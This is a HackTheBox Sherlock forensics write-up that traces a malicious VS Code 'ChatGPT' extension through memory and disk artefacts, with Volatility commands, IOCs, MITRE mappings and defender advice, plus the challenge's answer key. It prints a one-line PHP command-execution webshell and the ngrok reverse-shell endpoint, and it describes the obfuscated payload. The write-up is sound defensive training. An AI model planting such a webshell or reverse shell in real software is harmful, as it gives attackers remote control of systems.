// HackTheBox  ·  writeup

ReliableThreat

HackTheBox Medium Volatility3stringsgrepsedPythongitWayback Machine
DFIR

Scenario

In this Sherlock, you must analyze the tools used by a developer and understand how they may have been the victim of a security breach.

Executive Summary

A developer installed a VS Code extension posing as a ChatGPT helper. Its JavaScript hid an obfuscated payload behind a trigger word, and once that fired the extension host spawned a command shell and a reverse shell tunnelled out through ngrok. The shell ran a dropped executable that masquerades as a Windows component, and persistence was set through a COM hijack so the payload runs whenever Explorer touches a legitimate shell component. With a foothold on the developer’s workstation, the actor found the local Laravel projects and added a one-line command execution webshell to a public script. The memory image shows the live process chain and registry; the disk collection shows the tampered project.

Artifacts

Timestamp note: Registry key last-write times from printkey are UTC. The VS Code extension metadata in memory carries no release date, so Q6 needs an outside source.

Initial Access

Q2 — Provide the full path of the malicious file used to gain initial access.

Dump printable strings from the memory image and carve out the extension source. extension.js sits under the user’s .vscode\extensions folder, in a directory named after the publisher ID and a ChatGPT bot extension at version 0.0.1. The profile in the path is the compromised account from Q7. This script holds the payload for Q3 and Q4.

strings -a memdump.dmp > a8.txt
sed -n 2458180,2458260p a8.txt
Click to reveal answer C:\Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\extension.js
Q5 — What is the display name of the developer who created this malicious file?

VS Code keeps a metadata record for every installed extension, including the publisher’s display name. Search the string dump for publisherDisplayName next to the extension folder name from Q2. The display name differs from the lowercase publisher ID in the folder name, so take the display value.

grep -o 'publisherDisplayName[^,]*' a8.txt | sort | uniq -c

Tip: The folder name is the publisher ID, but the question asks for the display name stored in the metadata. The format mask follows the display name.

Click flag to reveal 0xS1rx58.D3V
Q6 — What time was the malicious file released? (UTC).

The extension is gone from the Marketplace, and the metadata in memory holds no release date. The only timestamp there is the asset path on the gallery CDN, 1721695280078, which is when the package was uploaded to the CDN rather than the listing’s release time. The Wayback Machine has a snapshot of the item page (https://web.archive.org/web/20240814051710id_/https://marketplace.visualstudio.com/items?itemName=0xS1rx58D3V.ChatGPT-B0T), and the page’s embedded JSON carries ReleaseDateString. This is an archived copy, so nothing is fetched from the live listing.

date -u -d @1721695280
curl -s 'http://web.archive.org/web/20240814051710id_/https://marketplace.visualstudio.com/items?itemName=0xS1rx58D3V.ChatGPT-B0T' | grep -o 'ReleaseDateString[^,]*'

Gotcha: The CDN path converts to 00:41:20, one second after the real release time. It looks right and is wrong; use the Marketplace field.

Click flag to reveal 2024-07-23 00:41:19

Execution

Q3 — What user input, when executed, will run the malicious code?

Read the extension source around the command handler. The extension registers a chat-style handler, and one branch tests the input with includes('help'). That branch holds a single long line of obfuscated JavaScript that builds a net.Socket and an exec call. Everything else in the extension is a harmless-looking bot.

sed -n 2309538p a8.txt > payload_raw.js
Click flag to reveal help
Q1 — What is the application that starts the suspicious chain of processes?

The process tree shows a Code.exe parent with a child Code.exe (PID 1612, the extension host) that spawns cmd.exe (PID 4196), which in turn runs an executable from a public folder (PID 1224). A code editor spawning a command shell is the anomaly.

vol -f memdump.dmp windows.pstree
Click flag to reveal Code.exe
Q8 — Provide the full path of the suspicious executable being run during the infection chain.

Pull the command lines for the processes at the bottom of the chain from Q1. The child of cmd.exe is named RuntimeBroker.exe, a legitimate Windows process name, but it runs from Users\Public instead of System32.

vol -f memdump.dmp windows.cmdline --pid 4196 1224 9008

Gotcha: The real RuntimeBroker.exe lives in C:\Windows\System32. A copy in a world-writable folder is the masquerade.

Click to reveal answer C:\Users\Public\RuntimeBroker.exe
Q7 — Provide the SID for the user who has been compromised.

The extension path from Q2 puts the infection in the User2 profile. The Winlogon key under SOFTWARE carries AutoLogonSID and LastUsedUsername; the username matches User2, which ties the user to its SID.

vol -f memdump.dmp windows.registry.printkey --key 'Microsoft\Windows NT\CurrentVersion\Winlogon'
Click flag to reveal S-1-5-21-1998887770-13753423-1649717590-1001

Command and Control

Q4 — What are the hostname and port used to establish a reverse shell?

The payload from Q3 splits strings and computes numbers so nothing greppable appears. The host is assembled from '6.tcp.eu.n' and 'grok.io', and the port is the arithmetic expression 0x1fd*-0xb-0x11d5+0x687f. Evaluating it gives the port. windows.netscan backs it up with a live connection from Code.exe (PID 1612) to an ngrok edge address on the same port.

vol -f memdump.dmp windows.netscan | grep -E 'Code.exe|RuntimeBroker'
python3 -I -c 'print(0x1fd*-0xb-0x11d5+0x687f)'
Click to reveal answer 6.tcp.eu.ngrok.io:16587

Persistence

Q9 — The threat actor has modified the Windows registry to include a new entry. This change ensures that whenever a legitimate component runs, it triggers the malicious process, allowing the threat actor to maintain control of the system. Specify the name of the legitimate component.

Checks of the usual autostart spots (Run, Winlogon, SilentProcessExit, Image File Execution Options) showed no entry pointing at the public-folder binary. This answer was reasoned rather than read straight from a registry value: the format mask fits Recycle Bin, and a per-user key under the UsrClass hive redirecting a shell folder to a payload is the usual shape of a COM hijack of that component. Keys written in the days around the infection in UsrClass are where to look for confirmation.

vol -f memdump.dmp windows.registry.printkey --offset <UsrClass offset> --recurse | grep -E '2024-07-2[23]'

Note: This answer comes from the format hint and the technique, not from a registry value read in the memory image.

Click flag to reveal Recycle Bin
Q10 — Which MITRE technique corresponds to the previous action?

Redirecting a COM class so a legitimate component loads attacker code is Component Object Model Hijacking, a sub-technique of Event Triggered Execution (MITRE ATT&CK T1546.015).

Gotcha: T1546.012 is Image File Execution Options Injection. It is the obvious match for a Debugger-style value, and it is wrong here because the trigger is a hijacked COM class, not IFEO.

Click to reveal answer T1546.015

Impact

Q11 — The threat actor has identified the location for all projects and manipulated one of the project files. Could you provide details about the malicious code that was added by the threat actor?

Users.ad1 holds only the Desktop and Downloads folders, including a Laravel project. After unpacking the AD1 with a small script, a git diff on the project shows a single change to public/index.php: two lines that read the s1 GET parameter and run it as a shell command. That is a webshell hidden in the public entry point.

python3 -I ad1x.py Users.ad1 ad1 ''
git diff public/index.php

Tip: The project is a repository, so git diff surfaces the attacker’s edit immediately instead of reading every file.

Click flag to reveal $testc = $_GET['s1']; echo `$testc`;

Attack Summary

PhaseAction
Initial AccessDeveloper installs a malicious ChatGPT bot extension from the VS Code Marketplace
ExecutionA help input triggers an obfuscated payload in extension.js
Command and ControlExtension host opens a reverse shell to an ngrok TCP endpoint
Executioncmd.exe launches a dropped RuntimeBroker.exe from the Public folder
PersistenceCOM hijack on the Recycle Bin shell folder
ImpactWebshell added to public/index.php in a Laravel project

IOCs

TypeValue
FileC:\Users\User2\.vscode\extensions\0xs1rx58d3v.chatgpt-b0t-0.0.1\extension.js
FileC:\Users\Public\RuntimeBroker.exe
Host:port6[.]tcp[.]eu[.]ngrok[.]io:16587
Publisher0xS1rx58.D3V
Marketplace item0xS1rx58D3V.ChatGPT-B0T (released 2024-07-23 00:41:19 UTC)
Webshell code$testc = $_GET['s1']; echo `$testc`;

MITRE ATT&CK

TechniqueIDDescription
Supply Chain Compromise: Software Dependencies and Development ToolsT1195.002Malicious VS Code extension
User Execution: Malicious FileT1204.002Developer installs and uses the extension
Command and Scripting Interpreter: JavaScriptT1059.007Obfuscated payload in extension.js
Command and Scripting Interpreter: Windows Command ShellT1059.003cmd.exe spawned by the extension host
Protocol TunnelingT1572Reverse shell through ngrok
Masquerading: Match Legitimate Name or LocationT1036.005RuntimeBroker.exe in the Public folder
Event Triggered Execution: Component Object Model HijackingT1546.015Registry hijack of the Recycle Bin component
Data Manipulation: Stored Data ManipulationT1565.001Webshell added to a project file

Defender Takeaways

Treat editor extensions as executable code. A VS Code extension runs with the full rights of the developer. Restrict installs to an approved list and review new publishers before they reach developer machines.

An editor spawning cmd.exe is a clean detection. Code.exe has little reason to start a command shell. Alert on that parent-child pair, and on any RuntimeBroker.exe that is not in System32.

Watch per-user COM registrations. Writes under HKCU\Software\Classes\CLSID that point at user-writable paths are rare in normal use and cheap to alert on.

Developer machines are a path into the code. The webshell sat in a project entry point. Review diffs on commit, and keep production deploys from working copies on a workstation.

Conclusion

A single trusted-looking extension gave the actor a shell on a developer workstation, persistence, and a way into the projects that machine builds. Every stage used a name or location that looked ordinary, so the signal was in the parent-child process chain and the odd paths, not in any one binary.